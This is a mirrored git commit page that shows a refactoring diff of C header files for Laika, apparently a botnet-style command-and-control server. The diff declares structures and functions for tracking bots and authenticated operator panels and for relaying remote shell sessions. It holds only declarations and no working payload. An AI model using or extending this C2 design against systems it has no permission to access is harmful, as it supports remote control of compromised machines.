mirror of
https://github.com/CPunch/Laika.git
synced 2025-10-08 17:00:11 +00:00
Major refactoring
lots and lots of changes. too many to list tbh, might rebase this commit later if i get bored enough.
This commit is contained in:
@@ -6,14 +6,36 @@
|
||||
#include "lsocket.h"
|
||||
#include "lpolllist.h"
|
||||
#include "lpeer.h"
|
||||
#include "hashmap.h"
|
||||
|
||||
typedef bool (*tLaika_peerIter)(struct sLaika_peer *peer, void *uData);
|
||||
|
||||
struct sLaika_peerInfo {
|
||||
struct sLaika_cnc *cnc;
|
||||
};
|
||||
|
||||
#define BASE_PEERINFO struct sLaika_peerInfo info;
|
||||
|
||||
struct sLaika_botInfo {
|
||||
BASE_PEERINFO
|
||||
struct sLaika_peer *shellAuth; /* currently connected shell */
|
||||
};
|
||||
|
||||
struct sLaika_authInfo {
|
||||
BASE_PEERINFO
|
||||
struct sLaika_peer *shellBot; /* currently connected shell */
|
||||
};
|
||||
|
||||
#undef BASE_PEERINFO
|
||||
|
||||
struct sLaika_cnc {
|
||||
uint8_t priv[crypto_kx_SECRETKEYBYTES], pub[crypto_kx_PUBLICKEYBYTES];
|
||||
struct sLaika_socket sock;
|
||||
struct sLaika_pollList pList;
|
||||
struct sLaika_peer **panels; /* holds connected panel peers */
|
||||
int panelCount;
|
||||
int panelCap;
|
||||
struct hashmap *peers; /* holds all peers, lookup using pubkey */
|
||||
struct sLaika_peer **authPeers; /* holds connected panel peers */
|
||||
int authPeersCount;
|
||||
int authPeersCap;
|
||||
};
|
||||
|
||||
struct sLaika_cnc *laikaC_newCNC(uint16_t port);
|
||||
@@ -22,10 +44,15 @@ void laikaC_freeCNC(struct sLaika_cnc *cnc);
|
||||
void laikaC_onAddPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer);
|
||||
void laikaC_onRmvPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer);
|
||||
|
||||
void laikaC_addPanel(struct sLaika_cnc *cnc, struct sLaika_peer *panel);
|
||||
void laikaC_rmvPanel(struct sLaika_cnc *cnc, struct sLaika_peer *panel);
|
||||
void laikaC_setPeerType(struct sLaika_cnc *cnc, struct sLaika_peer *peer, PEERTYPE type);
|
||||
|
||||
void laikaC_addAuth(struct sLaika_cnc *cnc, struct sLaika_peer *panel);
|
||||
void laikaC_rmvAuth(struct sLaika_cnc *cnc, struct sLaika_peer *panel);
|
||||
|
||||
void laikaC_killPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer);
|
||||
bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout);
|
||||
void laikaC_iterPeers(struct sLaika_cnc *cnc, tLaika_peerIter iter, void *uData);
|
||||
|
||||
struct sLaika_peer *laikaC_getPeerByPub(struct sLaika_cnc *cnc, uint8_t *pub);
|
||||
|
||||
#endif
|
@@ -3,8 +3,11 @@
|
||||
|
||||
#include "lpeer.h"
|
||||
|
||||
void laikaC_sendNewPeer(struct sLaika_peer *panel, struct sLaika_peer *bot);
|
||||
void laikaC_sendRmvPeer(struct sLaika_peer *panel, struct sLaika_peer *bot);
|
||||
void laikaC_handleAuthenticatedHandshake(struct sLaika_peer *panel, LAIKAPKT_SIZE sz, void *uData);
|
||||
void laikaC_sendNewPeer(struct sLaika_peer *authPeer, struct sLaika_peer *bot);
|
||||
void laikaC_sendRmvPeer(struct sLaika_peer *authPeer, struct sLaika_peer *bot);
|
||||
|
||||
void laikaC_handleAuthenticatedHandshake(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData);
|
||||
void laikaC_handleAuthenticatedShellOpen(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData);
|
||||
void laikaC_handleAuthenticatedShellData(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData);
|
||||
|
||||
#endif
|
Reference in New Issue
Block a user